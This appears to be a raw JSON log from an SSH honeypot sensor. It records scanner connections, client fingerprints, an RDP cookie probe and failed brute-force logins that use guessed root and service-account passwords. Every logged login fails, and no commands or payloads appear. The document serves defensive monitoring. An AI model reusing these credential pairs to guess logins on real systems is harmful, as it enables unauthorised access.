{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:f9:f1:6e:91:98:43:1e:57:4c:b4:fe:9e:35:59:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs3ej405A2ZIgJzR+GtQ1TbK71WHKBPVjr5YD4KYDhLIoe5LR6N8MMeQxLL/mlOoSlINt55FGoy1Y8gPHwJIct7iiR4lm1Hlm1Jkwzqd1w5JOnBjq2ROooA0VjswCFxEXPW1bpa+tCcFU2PQR1+t0qh6xRjigQRr2lxCJy4cnGZN1Q4wbsRjsTZNxRo17W9AGLk/1+rljAwqmOf7SqcrqVIL7Jxc81UwX5E4PCDpwVTXgY/9wbIYLeRw3XaV2CvA0ob5kD46IFfAGhOk16BiJs4Ul7yQUp7yr3Tnd3RsCMDQ1t4cfeHztV9/E13+zG+lizcI5wXZFAriRxg9DPNXK3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.663999Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:22.734404Z","src_ip":"208.87.241.143","session":"878e131c6f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55337,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7661e6df7d2","protocol":"ssh","message":"New connection: 167.172.81.52:55337 (10.17.0.5:22) [session: c7661e6df7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:31.922077Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:31.928594Z","src_ip":"167.172.81.52","session":"c7661e6df7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:31.933053Z","src_ip":"167.172.81.52","session":"c7661e6df7d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64703,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8455b1436f","protocol":"ssh","message":"New connection: 152.42.212.128:64703 (159.203.135.109:22) [session: 0b8455b1436f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:40.024986Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:40.029919Z","src_ip":"152.42.212.128","session":"0b8455b1436f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:33:40.033929Z","src_ip":"152.42.212.128","session":"0b8455b1436f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37500,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b91f101f012","protocol":"ssh","message":"New connection: 193.37.70.224:37500 (159.203.135.109:22) [session: 4b91f101f012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:01.650029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:01.659534Z","src_ip":"193.37.70.224","session":"4b91f101f012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:01.779408Z","src_ip":"193.37.70.224","session":"4b91f101f012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qq","message":"login attempt [root/1111qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:02.055677Z","src_ip":"193.37.70.224","session":"4b91f101f012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:03.148806Z","src_ip":"193.37.70.224","session":"4b91f101f012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42862,"dst_ip":"159.203.135.109","dst_port":22,"session":"10db0a709744","protocol":"ssh","message":"New connection: 103.122.221.179:42862 (159.203.135.109:22) [session: 10db0a709744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:22.905186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:22.909580Z","src_ip":"103.122.221.179","session":"10db0a709744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:23.162719Z","src_ip":"103.122.221.179","session":"10db0a709744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"214365","message":"login attempt [root/214365] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:23.923753Z","src_ip":"103.122.221.179","session":"10db0a709744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:34:25.180785Z","src_ip":"103.122.221.179","session":"10db0a709744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56592,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ec8cdaf2b8","protocol":"ssh","message":"New connection: 80.94.92.186:56592 (159.203.135.109:22) [session: 87ec8cdaf2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:42.120134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:42.206565Z","src_ip":"80.94.92.186","session":"87ec8cdaf2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:42.360865Z","src_ip":"80.94.92.186","session":"87ec8cdaf2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr123","message":"login attempt [mapr/mapr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:42.917713Z","src_ip":"80.94.92.186","session":"87ec8cdaf2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:44.053994Z","src_ip":"80.94.92.186","session":"87ec8cdaf2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.210.105","src_port":57581,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5f882e47367","protocol":"ssh","message":"New connection: 172.104.210.105:57581 (10.17.0.5:22) [session: b5f882e47367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:46.857767Z"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:35:52.283192Z","src_ip":"172.104.210.105","session":"b5f882e47367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45238,"dst_ip":"159.203.135.109","dst_port":22,"session":"353f3293b18a","protocol":"ssh","message":"New connection: 94.159.98.239:45238 (159.203.135.109:22) [session: 353f3293b18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:14.260899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:14.329512Z","src_ip":"94.159.98.239","session":"353f3293b18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:14.421487Z","src_ip":"94.159.98.239","session":"353f3293b18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bec3f5a389d","protocol":"ssh","message":"New connection: 103.153.68.219:38112 (159.203.135.109:22) [session: 9bec3f5a389d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:14.523679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:14.529130Z","src_ip":"103.153.68.219","session":"9bec3f5a389d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:14.780869Z","src_ip":"103.153.68.219","session":"9bec3f5a389d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa111","message":"login attempt [root/aaa111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:15.533737Z","src_ip":"103.153.68.219","session":"9bec3f5a389d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltymub","message":"login attempt [root/ltymub] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:16.353150Z","src_ip":"94.159.98.239","session":"353f3293b18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:16.785163Z","src_ip":"103.153.68.219","session":"9bec3f5a389d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:17.718049Z","src_ip":"94.159.98.239","session":"353f3293b18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.21.62","src_port":56744,"dst_ip":"10.17.0.5","dst_port":22,"session":"d55553fbbd5a","protocol":"ssh","message":"New connection: 216.59.21.62:56744 (10.17.0.5:22) [session: d55553fbbd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:24.918117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:24.924236Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:24.947626Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:25:7d:b7:db:13:49:5b:93:83:5a:bb:8c:04:b0:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3JN1WOB5Y0CNCn51zRY/7W5WCTRMTPSfRMZ/1Utv6j2RAA1ztaOyXTMNvfTWBQG/F5t8O5vbG6nAkwAQkvJb4/IqEYtzA/otYy33ddYI8FXPfn3qg0Kg8bv2vvmS2EX2v0iYONF2VVddZTra3K8EtSBk3c+7RPg9b7QUz9MDw7WcByzu1iGOUo+kRqfUtoMDOo6DDzD8edGUsAP+kOKuQMYsi2h4Twe8NRie4wHls7oOycpMmE4L4eEHBHvzntbf6wTwiGbOdwq7Y7K6I5kQhxQploLZFqHRU9AXZvGSwpNolyNm89j7RSPfuwjc+TClsytZsJjV7OMpjGnVsHWyl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:25:7d:b7:db:13:49:5b:93:83:5a:bb:8c:04:b0:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.046739Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:25:7d:b7:db:13:49:5b:93:83:5a:bb:8c:04:b0:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3JN1WOB5Y0CNCn51zRY/7W5WCTRMTPSfRMZ/1Utv6j2RAA1ztaOyXTMNvfTWBQG/F5t8O5vbG6nAkwAQkvJb4/IqEYtzA/otYy33ddYI8FXPfn3qg0Kg8bv2vvmS2EX2v0iYONF2VVddZTra3K8EtSBk3c+7RPg9b7QUz9MDw7WcByzu1iGOUo+kRqfUtoMDOo6DDzD8edGUsAP+kOKuQMYsi2h4Twe8NRie4wHls7oOycpMmE4L4eEHBHvzntbf6wTwiGbOdwq7Y7K6I5kQhxQploLZFqHRU9AXZvGSwpNolyNm89j7RSPfuwjc+TClsytZsJjV7OMpjGnVsHWyl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.051090Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:35:48:cd:7e:dc:74:ad:af:ae:5a:bb:37:81:fd:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvsf+625l+Yegv1/0q53euWQQheVZpOzUirbTm3jRYM95fKDq4nAAs+sEaIzWKuHQUkK83Gy50mTTcblZyzqj2szhvxucnGOBmRfkYIqh4q0dd+Gyn+fbrb+f5lrNcu3+QqG4TqHR6aNuuQE14qZiY0jlL+99rfT2XndFfocsuMF1vUciId1BZIuBqZM55g/w8MaC3yGiwaM6X82ebZoKQw04o+tLviO2pQej5Sv3AXaswF6nUsRyV8rASPCAnmIu9zDJMGUBugx2d+Un7u9ZZoTFnN2xTbUZA9zHk5yChWIU/wMc7ISWEPOqX3SWUMv6/t0DfNqRVnKJSrMIBOYkv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:35:48:cd:7e:dc:74:ad:af:ae:5a:bb:37:81:fd:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:36:25.075910Z","src_ip":"216.59.21.62","session":"d55553fbbd5a","protocol":"ssh"}
